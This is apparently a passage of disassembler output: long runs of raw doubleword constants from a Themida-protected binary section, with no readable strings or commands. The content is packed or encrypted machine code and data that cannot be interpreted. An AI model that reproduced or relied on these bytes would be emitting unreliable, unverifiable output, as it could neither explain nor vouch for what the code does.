		dd 3B4D7DBDh, 0B760FE18h, 4BC4ABBCh, 5ED2DC6Bh,	0AC05EA81h
		dd 81F90E3Ah, 0F83C14F2h, 4800F31h, 66000000h, 890A85B8h
		dd 83C78A11h, 4FFC04E9h, 0FFA5850Fh, 8C0FFFFFh,	15h, 830F60h
		dd 0E9000000h, 8, 0DF672B9Bh, 0CFF00E3Dh, 3EE85361h, 32565DB1h
		dd 1EEACF5h, 325655F5h,	3256ABB1h, 0F7E5D5B1h, 0ED93EAE8h
		dd 325675EBh, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32545DB1h, 3581AEB1h, 325257BBh, 325DABA3h, 3240D59Fh
		dd 3256E85Ch, 325677F9h, 0F27DB8F9h, 325EB4E3h,	6BF6AEB1h
		dd 279AA8AFh, 359B09Bh,	533687E1h, 6006DBBEh, 6A0C44BEh
		dd 6A0CE2EBh, 3247B4E1h, 0E8D3AEB1h, 9457BFBAh,	6B3F56h
		dd 4C6FD532h, 0A4A3C66Eh, 0A193499Eh, 61143795h, 0BC98DCD7h
		dd 324247C4h, 77EA57B1h, 0F3FE602Bh, 0CF0272D7h, 0CB96A943h
		dd 87BAEA8Fh, 0AECB01FBh, 32565658h, 5FD239B1h,	5BA66413h
		dd 174A245Fh, 0DB5E3431h, 3256EAB7h, 0EFE2F277h, 53CB99E3h
		dd 62C505EBh, 0CCDDC8E3h, 0EBDD66BEh, 0A437F3EBh, 33BEDE6Bh
		dd 0FC20D17h, 520EF683h, 6A37DBD0h, 6A0C6CBEh, 6A0CF6EBh
		dd 36721338h, 6006F9E1h, 35987E1h, 359B2EBh, 6A0C14D1h
		dd 60068BBEh, 3590FE1h,	359F6EBh, 6A0C36D1h, 320EF3EBh
		dd 0C0AB81B1h, 0CAF2AF2h, 78E3992Eh, 0BB37270Ah, 0DB5279F5h
		dd 3256AEBDh, 1F43A35h,	0BDB8C241h, 99ACF0ADh
dword_5A5568	dd 3256EAE9h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
					; DATA XREF: Themida_:00568B6Co
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h
		dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h
		dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h
		dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h
		dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h
		dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h
		dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h
		dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h
		dd 325657B1h, 3256ABB1h, 3256D5B1h, 0DA36EAB1h,	325675B1h
		dd 91BC3BEBh, 0BF53B38Ch, 0DFFA2834h, 0CBD4DEB4h, 0BF53458Bh
		dd 0DC904D33h, 0CFD463B4h, 0DA539B8Bh, 3256B3FFh, 32562659h
		dd 0DBD469B1h, 3253B98Bh, 6056ABB1h, 12435077h,	5A00EF59h
		dd 0AEFECDE3h, 3EFF0F4Eh, 0B7DB5859h, 37BDD581h, 0B7DF874Eh
		dd 37BEBE18h, 323ED1DBh, 5A56EAA1h, 325578F1h, 0E2A9BADBh
		dd 469656EBh, 0DBD42782h, 0BB53B98Bh, 0DC6C4633h, 3F166CB4h
		dd 0CADDEAB2h, 98A5B582h, 5A52D0E3h, 32564DB1h,	3252AED9h
		dd 0CD563DB1h, 0DA430223h, 0B0DF8FB4h, 37B8D18Ch, 0DBD3FED0h
		dd 0F153548Bh, 0C7D49AD1h, 325346AFh, 0F55617B1h, 0DA5DAE33h
		dd 3246D5B4h, 52958BB1h, 8BFCF3Ah, 0DD5BF5Fh, 0B17529B1h
		dd 4654BECEh, 2229D4BAh, 0B158DFB5h, 0D8BDC176h, 3346AD76h
		dd 0D95675B1h, 22117D43h, 32565DB2h, 0F137475Ah, 52BADCE4h
		dd 3256AB59h, 0D8D78FB1h, 37B8D429h, 917C73Ah, 77DDBF5Fh
		dd 0B150D4B9h, 0DC6DEF33h, 0FB3753B4h, 5256AF73h, 3256D559h
		dd 0D8D7B0B1h, 37B84B0Dh, 96B083Ah, 806D585Fh, 37B895F0h
		dd 0CDD6CC5h, 8459743Ah, 75A0D4FEh, 36236AB0h, 30BDACB2h
		dd 7115639Ah, 37E7D83Ah, 0BFDDAB59h, 37BE780Ch,	3B24738Ah
		dd 37210C8Ah, 0D9522C32h, 46994E78h, 8FEB33B9h,	0D953B59Eh
		dd 5295CF06h, 32565759h, 0D8D7F1B1h, 37B8EAA5h,	96B503Ah
		dd 32EF705Fh, 156BAB0h,	0B9FDAE71h, 0DC6D9333h,	73D4DEB4h
		dd 5353458Ah, 32BEB572h, 6856EAB1h, 0D689F30h, 0B790BF5Fh
		dd 37BE7DA4h, 5F6FC6E7h, 87A983AEh, 37BEA718h, 4966503Ch
		dd 0E2A9EF5Ah, 323E25E3h, 5856BA31h, 0DBE4A2B1h, 0CD53408Bh
		dd 5A0C0F61h, 32562BB1h, 80A9D5DBh, 37B8D18Ch, 0F137A54Eh
		dd 52BA31E4h, 32565D59h, 0D8D7F4B1h, 37B8683Dh,	0DA5EDE3Ah
		dd 3256D729h, 0CBC415E4h, 6F539B8Bh, 475ACF8Ah,	30D0B55Fh
		dd 0FB37AEB1h, 67565F73h, 0F6D5473Ah, 6101834Dh, 3256EA59h
		dd 0D8D72FB1h, 37B88571h, 0B95E283Ah, 6401BECCh, 32566059h
		dd 4696A0B1h, 67AE5E90h, 8AF784Eh, 90B705Fh, 2022B6C4h
		dd 0B248D6D7h, 2CDC5E56h, 0DAA6B431h, 3256AD2Ch, 4FDF015Ah
		dd 0CC0B024Dh, 6D0D8A4Eh, 0CE1331EFh, 325A9F78h, 0B1BA25E4h
		dd 6401AF75h, 7791F8E0h, 3256D549h, 1BD42DB1h, 33539B8Ah
		dd 0B956BAB1h, 0B93055C4h, 0DBEC25AFh, 0B953B98Bh, 0E95DA3EEh
		dd 0EC6DDAC5h, 6FDDECC4h, 3E09FCBDh, 0D9427D32h, 2CDD3B5Bh
		dd 3DBE5531h, 32569935h, 0DBAD2BB1h, 329351BEh,	0C9D6EAB1h
		dd 8ED27A5Ah, 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh, 3DB5AC31h
		dd 32563135h, 0C9D7B3B1h, 0B65909D6h, 32567529h, 54A65D31h
		dd 0B259A630h, 32C72ABEh, 0D1D657B1h, 42AD2B41h, 32D351BEh
		dd 0B930EAB1h, 0CAB5F5AFh, 46EE4131h, 3768DDF3h, 0CD693C5h
		dd 0B26E239Ch, 122C38Fh, 97F574Eh, 0B930EF5Fh, 0CAB1F5AFh
		dd 0B3AD3BD7h, 54762959h, 0D5D6B03Ah, 0C9D73141h, 21226B30h
		dd 0A0A980D1h, 37B8D048h, 0CE13FCECh, 0CE2B39D0h, 0B93528B0h
		dd 0DA485B0Bh, 0B0DD07B4h, 37B89098h, 6A66E988h, 88DDBAC3h
		dd 37BE7EB4h, 1BD431E1h, 0B53B38Ah, 4D0E9E8Dh, 0F546BC8Ch
		dd 325453F4h, 35BDD5B1h, 33AEAF76h, 0B95675B1h,	0DC6C530Bh
		dd 3949D6B4h, 949DA6Ah,	0B959226Fh, 4FD5A7ECh, 3122D549h
		dd 0BBAEB7B2h, 0F5D571EEh, 1B451A5h, 3296B471h,	0B930AEB1h
		dd 3E2BDCAFh, 46BD5031h, 0C2B555BBh, 46261131h,	0F4649EA7h
		dd 759153B6h, 32565DB0h, 0B19125B1h, 0A5BF5271h, 5456ABB1h
		dd 3A59D276h, 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h, 32565FF6h
		dd 0F5DDAEB1h, 0D9509732h, 0CD7CDC8h, 3D224521h, 47C6D431h
		dd 4CD713BFh, 46C62A4Eh, 0B952B6B3h, 0BF094576h, 0DC6D1233h
		dd 0CD00FBB4h, 0DC6C2823h, 4696E1B4h, 0BF9EFEBBh, 0DC6DFF03h
		dd 6446B6B4h, 0CD03603Ah, 0DC6CAE23h, 0FC7DF6B4h, 0B1080C46h
		dd 475712CCh, 981FC5A1h, 0B75902D7h, 8459F6D7h,	0D9FDAFF7h
		dd 0CA2BD4AAh, 5445DEB3h, 549FDE09h, 3DEE8C1Ah,	3DFD1335h
		dd 9957FC07h, 96A55F5Ah, 6B0D693Ah, 0F09F08EFh,	0B903ABB9h
		dd 32BEB55Dh, 6856EAB1h, 70489F30h, 77DDBF5Fh, 0C3D4D4B9h
		dd 5353408Bh, 32529578h, 0B1BA20E4h, 0DA362D75h, 3256EAB1h
		dd 0DBCF4EBh, 0F55354F3h, 3256A5F4h, 7791AEB1h,	3256574Dh
		dd 549698B1h, 0B091CB3Ah, 37B8D198h, 325675B0h,	0A2AD3BD7h
		dd 0B2562821h, 0B659464Ah, 325656B9h, 0DBAD2BF1h, 32A851BEh
		dd 0B216EAB1h, 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h
		dd 0D7D25831h, 3156ABB1h, 0DA660033h, 0C9D6AAB4h, 0FCD27A53h
		dd 0B256BAB1h, 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h, 88D2A452h
		dd 0B256D5B1h, 0C9D61A52h, 87D27AC1h, 5456BAB1h, 0D1D6433Ah
		dd 8AAD2E49h, 0CD610C5h, 0B214DFB4h, 0F22F88Fh,	463ED431h
		dd 0B0A93589h, 37B88198h, 0B248D6D7h, 0B3305656h, 46BED64Ah
		dd 2CDDCD95h, 54A63231h, 0F2D71130h, 673662C5h,	8AF284Eh
		dd 0BB0B585Fh, 0B13752F4h, 3D57ABCCh, 32578334h, 0C7EC5EB1h
		dd 625302AFh, 97FF73Ah,	0E6FBF5Fh, 0B0590581h, 3256AFA0h
		dd 3953ED3Ah, 0B906AE59h, 0DC6DFC33h, 26AD3B4h,	0C8D97AE9h
		dd 0B956BAB1h, 0DC6CB00Bh, 0DFD42DB4h, 2653B98Bh, 75DF9C38h
		dd 0B0DD85A1h, 37B8D198h, 6A66693Ah, 0DB5EE538h, 32565D64h
		dd 30AEEB76h, 0D95657B1h, 0CA136CB6h, 3256D5B0h, 8BB503Ah
		dd 0B0D5705Fh, 37B8805Ch, 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h
		dd 0DC6D8233h, 3256D7B4h, 0B15301B1h, 6D2B7749h, 32AEC732h
		dd 845946C5h, 0B2FFAFF7h, 475657B1h, 0DAD5EBB7h, 1F5E3EB4h
		dd 3256EA4Eh, 0D9539D32h, 0A8DDE9BAh, 37B86698h, 6965AA3Ah
		dd 32565718h, 3142DE31h, 37965677h, 97F68B2h, 0BB1E705Fh
		dd 75DFB2F6h, 0C500B6BDh, 0C5908569h, 3796D469h, 97F29B2h
		dd 0BB1ED05Fh, 75DFE2F6h, 1689EBDh, 33103071h, 1323DD19h
		dd 0F2D568B2h, 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h, 37BB7BE6h
		dd 31579631h, 3A113372h, 0D95A1A38h, 178E59A5h,	3256574Eh
		dd 0EAA16D9Ah, 0BB541532h
		dd 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h, 52AA9932h, 3256AE59h
		dd 0D8D70DB1h, 37B8EFE1h, 8BF6F3Ah, 0FB65EF5Fh,	3D564A32h
		dd 32567835h, 0CD51D6B1h, 47A9A2C4h, 41BE07B9h,	4156ABB0h
		dd 269156B4h, 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh,	330AB586h
		dd 0B059AEB1h, 32565726h, 0BAAEE3Ah, 0BED4DAB6h, 0CD56EAB1h
		dd 4DD589F4h, 3A22BAB5h, 325A2232h, 3CBDACC5h, 0CDA9A809h
		dd 3253124Eh, 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h
		dd 0B9174CC4h, 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh
		dd 6DDDEEF6h, 3A094EBDh, 0B904AFC4h, 677D59E6h,	2603ADA1h
		dd 195A083Ah, 37BD286Bh, 0B9443EEBh, 6DDDEEF6h,	36095EBDh
		dd 31535132h, 0DA47DC3Bh, 22292DB4h, 735722B2h,	6EDF729Ah
		dd 0CDEED4B0h, 8BA9154Eh, 325675B4h, 64BF1142h,	53A9A24Eh
		dd 32466C78h, 0B1BADCE4h, 0DA365775h, 3256D5B1h, 9BC6BEBh
		dd 0B9539BF4h, 0DC6C530Bh, 0B19F6EB4h, 0B659AE8Eh, 32565720h
		dd 47A9AC3Ah, 3A232ABDh, 32DE02E1h, 372575B1h, 0D9427D32h
		dd 0CE13D453h, 0CD5ADB4Eh, 5A95FC4h, 3256DA59h,	0B93CA7B1h
		dd 356F16F4h, 77A916C3h, 3629394Dh, 0B15E29B1h,	4656A2CEh
		dd 8A58BCB3h, 0CDA9544Eh, 3256D008h, 0D9FD19B1h, 2229F67Ah
		dd 0B159CEB4h, 47504DCEh, 75DDEFA0h, 3E09DCB5h,	75DDB65Ah
		dd 3E095EB5h, 75DDF95Ah, 3E09FEB5h, 0B152E59Ah,	4DD5585Ah
		dd 3323ADA1h, 0BB8F7CF0h, 8A57AAEDh, 0CDA92A4Eh, 3256EF08h
		dd 0D9FD86B1h, 0F09FDB36h, 0B9035DB9h, 77DDCE5Dh, 3E136CB9h
		dd 776DA3C3h, 0CA55A2A1h, 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh
		dd 0CE92DE5Dh, 325646D1h, 0B30C57B1h, 0DC10BA5Bh, 19FE6B4h
		dd 0CE0B636Ah, 8BFCF3Ah, 0DD5BF5Fh, 0B13229B1h,	3723518Eh
		dd 0D9429032h, 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h
		dd 0F5D546F4h, 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h
		dd 0B952923Ah, 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah
		dd 6D7DA2EEh, 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h
		dd 0CDA9CDB0h, 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah
		dd 6107FB72h, 3256D559h, 0D8D7B0B1h, 37B8332Dh,	957203Ch
		dd 56EE585Fh, 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah
		dd 4097D1B5h, 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah
		dd 37B8EB20h, 3ABD784Eh, 8DE14F3Ch, 0E1A9EF5Fh,	0F10E2CEAh
		dd 0DABA31E4h, 32565DB1h, 0D9BC2FEBh, 5253B9F7h, 957113Ch
		dd 77DDD05Fh, 0B95163B9h, 75DF79F4h, 221331B5h,	0B95A1A38h
		dd 75DFBAF4h, 0F09F36A1h, 0F436ABA1h, 0DA76C034h, 283EADB4h
		dd 0CDFE62C2h, 0DA5A1304h, 2D3D0B4h, 0CD5345CAh, 0B8DB0561h
		dd 37B8909Ch, 68862AE0h, 97B683Ch, 8559705Fh, 0EADDB6F1h
		dd 686752E3h, 0B0DF6DB2h, 37BE77E0h, 5251C3D0h,	0E8h, 0EA815A00h
		dd 5EE475Ch, 51828B52h,	0B905E820h, 41C64E6Dh, 55AE1F7h
		dd 3039h, 0FFFFFF25h, 5182897Fh, 5A05E820h, 5251C359h
		dd 0E8h, 0EA815A00h, 5EE478Ch, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h
		dd 0C3595AC2h, 0C08BC08Bh, 3D9D858Dh, 0D0FF05EEh, 8DC18B66h
		dd 0EE475585h, 51858905h, 8D05E80Dh, 0EE478585h, 75858905h
		dd 0B805E813h, 0
		dd 840FC00Bh, 47h, 201585C6h, 685605E8h, 0A9C530DFh, 0CA9B5FFh
		dd 858D05E8h, 5EB7B30h,	8D50D0FFh, 0E819718Dh, 46A5105h
		dd 100068h, 0F9B5FF00h,	0FF05E814h, 0F9BD8BD0h,	305E814h
		dd 0C7813C7Fh, 0F8h, 202447C7h,	8D600000h, 0E830BD9Dh
		dd 0B038B05h, 5840FC0h,	8B000000h, 4438900h, 234CF6B9h
		dd 0AB8D8D00h, 8A05EE48h, 9D8D89FCh, 8B05E815h,	0E8154185h
		dd 585C705h, 7405E807h,	6A000059h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1D0FC352h
		dd 0EFEC40F2h, 96A35B72h, 36C815B8h, 6185C725h,	5E80Ah
		dd 8B000000h, 0E821C1B5h, 0A5B5FF05h, 6605E81Ah, 0FC0AC681h
		dd 81595FFh, 0B70F05E8h, 0FF006AD6h, 0E820F995h, 0EBC08B05h
		dd 0CD3F694Dh, 338DDDA6h, 0BB1FFB34h, 20EC0373h, 4D9DA96Ah
		dd 3A0D05DBh, 0D3178887h, 36C789C0h, 65DDCE1Ah,	0F9684534h
		dd 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 0F9AFE8C2h, 625019EFh
		dd 73DA5F2Ch, 89D70870h, 86572D7Ch, 4880DD4Bh, 8D8D427Eh
		dd 5EE49EAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0ABC35242h, 148DA412h, 0DE9h, 9C317900h, 52799B89h
		dd 28E4A662h, 81560687h, 63940F7h, 8D895B6Ah, 5E8159Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 18C35040h
		dd 31D59D89h, 85C705E8h, 5E80705h, 73CCh, 0C7F9B70Fh, 0E80A6185h
		dd 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 8BFC7EDAh, 293B888Bh, 0E802F98Dh
		dd 0B5FFF905h, 5E81A39h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 6CC35747h, 29C6EED0h,	0E82F5195h, 1810F05h
		dd 0F9000000h, 81595FFh, 950105E8h, 5E807C9h, 95FF006Ah
		dd 5E820F9h, 4AEBC08Bh,	3BCFBF7Dh, 35FD0392h, 2D929501h
		dd 3ABD299Dh, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h,	9904D410h
		dd 47B7A1F9h, 2D20E5D6h, 35AF5433h, 8C9911BBh, 0F374129Bh
		dd 4D6F84B8h, 0C4CC5B25h, 59B2641Ah, 78477916h,	0EA02B811h
		dd 5E89B42h, 0D6000000h, 2F53D318h, 0B086BA66h,	81AFB459h
		dd 5C3CC1h, 0F9B58900h,	6805E82Dh, 16EDh, 5ED38B66h, 8BD7B70Fh
		dd 0AD858B19h, 8105E829h, 38CE1BC3h, 8D9D8974h,	8105E814h
		dd 0A61EB4F3h, 0C0B70F04h, 0E732C381h, 0E8535CD0h, 0Eh
		dd 0EE2D55Eh, 9141DE2Fh, 40424191h, 958B8E9Ch, 5E8247Dh
		dd 89018F5Ah, 0E814D5BDh, 4E98305h, 0F9D958Bh, 0EE8105E8h
		dd 1, 0FFA5850Fh, 8E9FFFFh, 6C000000h, 0AF442136h, 0EBA7BFE5h
		dd 6C907608h, 29h, 0A33E900h, 4E680000h, 0E905EE4Ch, 0FFFAF86Dh
		dd 0EE4D1F68h, 0F863E905h, 9D68FFFAh, 0E905EE4Eh, 0FFFAF859h
		dd 0EE4F9768h, 0F84FE905h, 0ED68FFFAh, 0E905EE50h, 0FFFAF845h
		dd 0EE52AB68h, 0F83BE905h, 0A168FFFAh, 0E905EE53h, 0FFFAF831h
		dd 63244F8Ch, 6F304792h, 7D3E399Eh, 854631ACh, 8C4D22B4h
		dd 73634A2Eh, 686A3BFCh, 67754607h, 5E7A4B0Ch, 0D5A95819h
		dd 34F7667h, 621B9F55h,	3A3D996Ah, 9DA72D5h, 6B3FA4CFh
		dd 0DC9389Ah, 9E6F076Ah, 1F7C3D3Ah, 19EDC16Ch, 0F19A32ABh
		dd 0E880E35Ah, 93AAA614h, 635F19h, 0E1F6C79Bh, 65CAB528h
		dd 99079F02h, 55098C40h, 0B34A97FEh, 0B8C84DBAh, 2D4Eh
		dd 2EE19500h, 7DBAF83h,	0F19A4499h, 650ACC5Ah, 309E3699h
		dd 5F199080h, 1785EA4Dh, 55098DC2h, 25CC157Ch, 0B8C84B28h
		dd 0C3C0h, 9D6A0700h, 75534B6Bh, 0EEBF57CEh, 57288DEAh
		dd 5724F87Fh, 8D1D5C35h, 0E247DF44h, 47ACC711h,	54156276h
		dd 9F3EAC80h, 765AF0CFh, 860D7B13h, 75AF0D2h, 0B06BA236h
		dd 5296A6C2h, 0BD2085E8h, 0EF845425h, 0F87B5D2Eh, 0D8753693h
		dd 7F2E9604h, 84E75F19h, 0AD1BEFC3h, 55097D30h,	8DEA82E5h
		dd 875B2FC2h, 7D9845B3h, 1A7D5509h, 15FF1482h, 0C5965933h
		dd 27FB5E11h, 36F78056h, 16FE7165h, 1AD0F1F8h, 30D83Dh
		dd 0BB000008h, 0C3945520h, 0CD9E5F16h, 0D5A6670Ah, 0DBAC6D08h
		dd 55B374FBh, 234C8A71h, 2E419162h, 33409C6Dh, 3C37A172h
		dd 8AF8CC7Bh, 55034E53h, 6D853EC2h, 74450669h, 954E0F64h
		dd 0AF832EE1h, 0CA0DF4DEh, 7CDF44A7h, 0EA210E4h, 0BF5F1991h
		dd 2D90EFEEh, 0A82F8C59h, 472DDFA5h, 99F8AA12h,	6E066911h
		dd 553E9B09h, 99005509h, 2BCB148h, 964CB8C8h, 93000000h
		dd 3F9A6B6Dh, 0D70D338h, 0AFFD7A8h, 0DF44A7C8h,	0F19E2271h
		dd 0D6A6E5Ah, 46F6839h,	0FEDAAB6Ch, 6F401479h, 16730B6Ah
		dd 10E4B855h, 950FCE3Ch, 0A3065AF1h, 86279D0Bh,	8BEE5F19h
		dd 0FA26DCAh, 2617CD3Bh, 0DB3E5933h, 0D7A03607h, 0DE914516h
		dd 0D08A92F6h, 1AC2271Ah, 72Fh,	63244F8Ch, 6F304792h, 7D3E399Eh
		dd 854631ACh, 8C4D22B4h, 73634A2Eh, 686A3BFCh, 67754607h
		dd 5E7A4B0Ch, 0D5A95819h, 34D7667h, 621B9F55h, 4506696Dh
		dd 4E0F6474h, 28966A95h, 5AF199B5h, 9465FD60h, 875B2F44h
		dd 0F199C419h, 56EE515Ah, 4DB820F1h, 0C384E78Ah, 3408A566h
		dd 19AB62C6h, 4A92635Fh, 0CD65C82Dh, 68399E01h,	5B2F0370h
		dd 968F0EDh, 2AC22555h,	13C49569h, 0CB98FB60h, 9C10DE2Ah
		dd 5D66E36h, 0CD3BA0D3h, 0D7CF4B2Bh, 64B32E95h,	5FCE9574h
		dd 0E2489044h, 0EBEDBE7Fh, 0E38C4617h, 0C2CB6875h, 0E74AADCDh
		dd 0CAC41482h, 0B72CDC2h, 746334D6h, 0CE314493h, 736536h
		dd 0A09E6B3Fh, 4949188Ah, 4783DFAFh, 0A609B3B7h, 679B3D0Eh
		dd 0C2E1E4F9h, 0FDCE31CDh, 0CD3095E0h, 0D97056Ah, 0FF17DFADh
		dd 0F4E9572Bh, 21CDC2E1h, 22BF26BEh, 0D192E5F3h, 369BD800h
		dd 0A77B16D9h, 0EAFBB739h, 0DC596D1h, 2B90E3F4h, 410265C8h
		dd 39369C6Dh, 7CD971D4h, 0DC4A1EB3h, 0CC02A284h, 930166C9h
		dd 0C1F2A245h, 0A84F92F9h, 25DEBBA5h, 32143h, 5EC48A00h
		dd 7448E5A6h, 6B0ACFA0h, 9D0BA306h, 5F19BA2Fh, 0CB3983E6h
		dd 0D617284Eh, 0F5E2FDAEh, 0DD4B1F82h, 0D822A393h, 95F257BAh
		dd 0F56337DAh, 0D23BE1F4h, 5122F659h, 5A2BEC87h, 0E711F97Eh
		dd 4C83C84Ch, 5B13FE7h,	0D10A0000h, 0C514E5A6h,	0B720F1B2h
		dd 0B32AFBBCh, 0A43203C4h, 0C8AC0ACBh, 0C182F5E1h, 0CC8DE2F0h
		dd 0D596E1FBh, 0DE9FD404h, 0F0ED5B2Fh, 2555034Bh, 2EE1E8A1h
		dd 0E741AF83h, 0DE5F19ABh, 0DA5D00Dh, 0A879DE41h, 0DDE4330h
		dd 6F40A5D0h, 2AAB1067h, 0E9EF1EC3h, 43AA2B8Eh,	8528E39Eh
		dd 7AE543B1h, 85E85931h, 92E5F3C4h, 8AE5EDBEh, 1CBC8DF2h
		dd 1DB68357h, 0B942132Fh, 72157A12h, 0A137D60Bh, 212C15D6h
		dd 0C7B6F0A9h, 24Eh, 0EB6D26F3h, 53F98163h, 996A02BBh
		dd 419E3639h, 3B0FE38Eh, 0BA9F6E6Ah, 0C0662010h, 9D0065C8h
		dd 5F29705h, 0C2935F1Fh, 99C6F716h, 0E68584ACh,	9C41AF83h
		dd 79550289h, 4FB27E16h, 432CAA7Bh, 0FBDDAE82h,	482FA778h
		dd 80F7DFB0h, 53F5AD1Bh, 4D89F1Fh, 2894796h, 0D36BCE55h
		dd 0A433D602h, 0A6096CD1h, 0ED27BEBEh, 0F69E0314h, 4B7h
		dd 0DB9CD704h, 0E7A8CF0Ah, 0F5B6C116h, 0FDBEB924h, 4C5AA2Ch
		dd 0FBDBC2A6h, 0F0E2B374h, 0EFEDBE7Fh, 0E6F2C384h, 4D21D091h
		dd 34AFEDFh, 0DA931755h, 0AF832EE1h, 1FD04841h
		dd 7DE2455Fh, 86472CACh, 0EB5023B5h, 0D6F24A17h, 2FF4CF6Ah
		dd 6512C697h, 0CDA82F00h, 37469768h, 0CF1279D2h, 9B0ECF3Dh
		dd 0A4075502h, 0AA379E41h, 3D9C6D6Bh, 2D16D73Ah, 0B8CEB820h
		dd 165C8h, 6B6D0F00h, 6D2A308h,	6CC9D71h, 9A10469h, 8D20EB48h
		dd 94054BB9h, 2F005F19h, 76ACFAEh, 3845C03Ah, 0A9415961h
		dd 0A7157ADDh, 55098832h, 0F664380Ch, 550987E7h, 60C5B029h
		dd 726031FDh, 0FC99AFDh, 7C65CC64h, 9548B68Ah, 80550988h
		dd 919C851Dh, 37B8C851h, 32h, 832EE17Eh, 916F41AFh, 8A5E5F19h
		dd 0EA5823B9h, 55098EF3h, 0C9F2BF22h, 8744BF6Bh, 0EE5CC124h
		dd 55095EEBh, 0FEF5EC53h, 0B8C87C0Fh, 9E99h, 6B6DE000h
		dd 4D2A308h, 0A335066Bh, 3E9A6BD0h, 890A7839h, 75AF19Dh
		dd 5D2A6D1h, 9047495Fh,	9758F0DFh, 8DC713Ah, 73D89F37h
		dd 36A47810h, 5F1B1528h, 0FAE35125h, 1B5506CCh,	0B08155B8h
		dd 0BF905126h, 72786017h, 0C714E8FBh, 361BA62h,	815A0000h
		dd 756435F6h, 67704102h, 637A4B0Ch, 54825314h, 18FC5A1Bh
		dd 11D2A531h, 1CDD9240h, 25E6914Bh, 2EEF8454h, 0A03DAB7Fh
		dd 75550349h, 696D38F1h, 0F05E3206h, 5AF199EDh,	6B855B28h
		dd 9E8E4EEDh, 7686A3Bh,	0FBDDAE6Fh, 6DFEB778h, 0D2A3086Bh
		dd 9ED90306h, 521D7A3Bh, 0C31AEBBFh, 0DA481CB4h, 5F19B416h
		dd 9B6FD437h, 0D0680FCAh, 96C7562h, 875AC155h, 5023B485h
		dd 0FD905BB8h, 8635BB29h, 0B5185931h, 6B6D3BF4h, 6D2A308h
		dd 399ED903h, 0D29F73D6h, 4E4310DDh, 0C5861E13h, 2EAF1DF1h
		dd 0E65AF10Ch, 0A91CBE34h, 4AAD79FBh, 0F79A55B2h, 5E9BB523h
		dd 0F725F19h, 36C6A3Bh,	4198066Bh, 0FD550956h, 0F7845829h
		dd 30972F92h, 0B5925FB1h, 4FAA2B74h, 0F47962FAh, 14B8C8C7h
		dd 4Eh,	0DFFE6C40h, 3655091Dh, 6A823BD3h, 99B52896h, 7D5B5AF1h
		dd 663295FAh, 5D0E6B03h, 0AD36C746h, 7CDF568Dh,	8E94DBA8h
		dd 0FBE32B0Ah, 64C9AE2Ah, 27956901h, 5F197289h,	0E7CE144h
		dd 55096FCBh, 1ED50C73h, 0B8C86D2Fh, 0CDB9h, 6B6D0000h
		dd 99B42997h, 0FE615AF1h, 7165369Bh, 10C899FEh,	0AB2DFE63h
		dd 0FA9907C8h, 965AF19Dh, 6510C742h, 0B2612E02h, 2B489473h
		dd 0CCD4D45Eh, 0B1F06C88h, 861E8116h, 8FE4F4C5h, 6F02CD2Ah
		dd 0E7F6C79Bh, 0CFB32A98h, 0FF625AF0h, 0F2BF9367h, 3DA0BE6h
		dd 0DFAC0F74h, 0ED857023h, 195A217Fh, 7549AC5Fh, 0A84033A4h
		dd 2CC18AE7h, 0F182EA58h, 2D35932h, 0ACC9DDAh, 3A9D0065h
		dd 2E419566h, 353A9C6Dh, 0D0DD5D4Dh, 9941A61Ah,	1A3h, 0F7B8C318h
